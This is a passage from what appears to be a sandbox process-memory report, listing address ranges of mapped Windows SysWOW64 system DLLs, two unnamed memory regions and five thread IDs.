0x747b0000 end_va = 0x747b9fff entry_point = 0x747b0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 764 start_va = 0x747c0000 end_va = 0x747ddfff entry_point = 0x747c0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 765 start_va = 0x74a00000 end_va = 0x74aabfff entry_point = 0x74a00000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 766 start_va = 0x74ab0000 end_va = 0x74abbfff entry_point = 0x74ab0000 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 767 start_va = 0x74d30000 end_va = 0x74d8bfff entry_point = 0x74d30000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 768 start_va = 0x74da0000 end_va = 0x74de3fff entry_point = 0x74da0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 769 start_va = 0x74df0000 end_va = 0x74f0ffff entry_point = 0x74df0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 770 start_va = 0x74f10000 end_va = 0x74f3afff entry_point = 0x74f10000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 771 start_va = 0x74f40000 end_va = 0x7502ffff entry_point = 0x74f40000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 772 start_va = 0x75030000 end_va = 0x7517cfff entry_point = 0x75030000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 773 start_va = 0x75190000 end_va = 0x75305fff entry_point = 0x75190000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 774 start_va = 0x76c70000 end_va = 0x76daffff entry_point = 0x76c70000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 775 start_va = 0x76f20000 end_va = 0x76fddfff entry_point = 0x76f20000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 776 start_va = 0x770c0000 end_va = 0x770c6fff entry_point = 0x770c0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 777 start_va = 0x770d0000 end_va = 0x77161fff entry_point = 0x770d0000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 778 start_va = 0x772b0000 end_va = 0x772f2fff entry_point = 0x772b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 779 start_va = 0x77390000 end_va = 0x77549fff entry_point = 0x77390000 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 780 start_va = 0x77550000 end_va = 0x775cafff entry_point = 0x77550000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 781 start_va = 0x7f4a0000 end_va = 0x7f59ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f4a0000" filename = "" Region: id = 782 start_va = 0x7f5c6000 end_va = 0x7f5c8fff entry_point = 0x0 region_type = private name = "private_0x000000007f5c6000" filename = "" Thread: id = 20 os_tid = 0xe64 Thread: id = 21 os_tid = 0xe68 Thread: id = 22 os_tid = 0xe6c Thread: id = 23 os_tid = 0xe70 Thread: id = 24 os_tid = 0xe74